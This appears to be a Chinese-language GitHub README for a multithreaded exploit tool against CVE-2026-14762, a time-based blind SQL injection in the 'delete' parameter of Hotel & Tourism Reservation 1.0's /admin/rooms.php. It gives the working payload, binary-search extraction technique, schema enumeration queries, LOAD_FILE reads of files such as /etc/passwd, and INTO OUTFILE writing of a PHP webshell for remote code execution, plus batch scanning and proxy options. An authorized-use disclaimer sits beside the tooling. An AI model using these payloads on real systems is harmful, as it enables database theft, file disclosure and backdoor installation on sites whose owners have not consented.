多线程基于时间的盲SQL注入漏洞利用,针对Hotel & Tourism Reservation 1.0的CVE-2026-14762。枚举数据库、表、列;通过LOAD_FILE读取文件;写入PHP webshell以实现RCE。支持代理、批量扫描和交互式SQL shell。
功能完备、多线程、基于时间盲注的 SQL 注入漏洞利用工具,针对 CVE‑2026‑14762。
目标为 Code‑Projects Hotel & Tourism Reservation 应用(版本 1.0)的 /admin/rooms.php 端点。
可实现完整的数据库枚举、文件系统读取(LOAD_FILE)和任意文件写入(INTO OUTFILE / DUMPFILE)——最终通过部署 WebShell 实现远程代码执行。

requestsurllib3colorama(可选 – 用于彩色终端输出)使用以下命令安装所有依赖:
pip install requests urllib3 colorama
git clone https://github.com/tc4dy/CVE-2026-14762-PoC-Exploit.git
cd CVE-2026-14762-PoC-Exploit
chmod +x exploit.py or basic_exploit.py
delete 参数中注入以下内容:
150' AND IF(<条件>, SLEEP(<延迟>), 0) AND '1'='1
IF() 函数判断条件;如果为真,数据库则休眠 <延迟> 秒。
对于每个字符位置,在 ASCII 范围(32–126)内进行二分查找,通过 > 和 = 比较确定正确字符。这将每个字符的请求数从 95 次减少到约 7–8 次,使提取过程非常高效。
数据库名称:SELECT DATABASE()
表名:SELECT table_name FROM information_schema.tables WHERE table_schema='<数据库>' LIMIT n,1
列名:SELECT column_name FROM information_schema.columns WHERE table_schema='<数据库>' AND table_name='<表名>' LIMIT n,1
SELECT <列名> FROM <表名> LIMIT 行号,1 – 逐行提取
每个单元格使用相同的二分法技术逐字符提取
读取:LOAD_FILE('/路径/到/文件') – 需要 secure_file_priv 为空或指向目标目录
写入:SELECT '<内容>' INTO OUTFILE '/路径/到/shell.php' – 需要 FILE 权限且 secure_file_priv 不限制
此工具仅供授权的安全测试、教育研究和漏洞评估使用。 作者不对任何滥用、非法活动或由本软件造成的损害负责。 在测试之前,务必获得系统所有者的明确书面许可。
| 类别 | 功能 |
|---|
| 漏洞类型 | 基于时间的盲 SQL 注入(CWE‑89) |
| 攻击向量 | GET /admin/rooms.php?delete=<payload> |
| 利用方式 | 条件 SLEEP() 注入,结合二分法字符提取 |
| 数据库 | 当前数据库名称提取 |
| 模式枚举 | 通过 information_schema 枚举表名和列名 |
| 数据导出 | 完整表导出(JSON 格式)——不限行数,可配置限制 |
| 文件读取 | LOAD_FILE() – 读取 MySQL 可读的任何文件(例如 /etc/passwd、配置文件) |
| 文件写入 | INTO OUTFILE / DUMPFILE – 写入 PHP WebShell、后门或任意内容 |
| 交互式 Shell | 实时 SQL Shell(基于时间提取),用于手动查询 |
| 单条查询 | 执行临时 SQL 并获取结果(最多 512 字符) |
| 批量模式 | 多目标扫描,可配置线程池(ThreadPoolExecutor) |
| 代理支持 | HTTP/HTTPS 代理(Burp Suite、mitmproxy 等) |
| 详细日志 | 彩色输出,带时间戳的调试信息 |
| 零依赖 | 仅需 requests、urllib3 和 colorama(可选) |
| 参数 | 缩写 | 类型 | 默认值 | 说明 |
|---|
--target | -t | URL | — | 单个目标 URL(例如 http://192.168.1.100) |
--target-file | -l | 文件 | — | 包含目标列表的文件(每行一个) |
--threads | — | 整数 | 5 | 多目标扫描的线程数 |
--output | -o | 路径 | — | 输出文件(导出为 JSON,文件读取为纯文本) |
--verbose | -v | 标志 | False | 启用详细调试日志 |
--proxy | — | URL | — | HTTP/HTTPS 代理(例如 http://127.0.0.1:8080) |
--user-agent | -ua | 字符串 | Mozilla/5.0... | 自定义 User-Agent 头 |
--delay | — | 浮点数 | 5.0 | 盲注入时的睡眠时间(秒) |
--max-retries | — | 整数 | 3 | 最大请求重试次数 |
--ssl-verify | — | 标志 | False | 启用 SSL 证书验证 |
--webroot | — | 路径 | /var/www/html | INTO OUTFILE WebShell 写入的 Web 根目录 |
--dump-db | — | 标志 | False | 导出当前数据库的所有表 |
--tables | — | 标志 | False | 仅列出所有表名 |
--dump-table | — | 表名 | — | 导出指定表(例如 --dump-table users) |
--read | — | 路径 | — | 通过 LOAD_FILE() 读取文件 |
--write-shell | — | 标志 | False | 将 PHP WebShell(shell.php)写入 Web 根目录 |
--sql | — | 查询语句 | — | 执行单条 SQL 查询(最多返回 512 字符) |
--interactive | -i | 标志 | False | 利用成功后启动交互式 SQL Shell |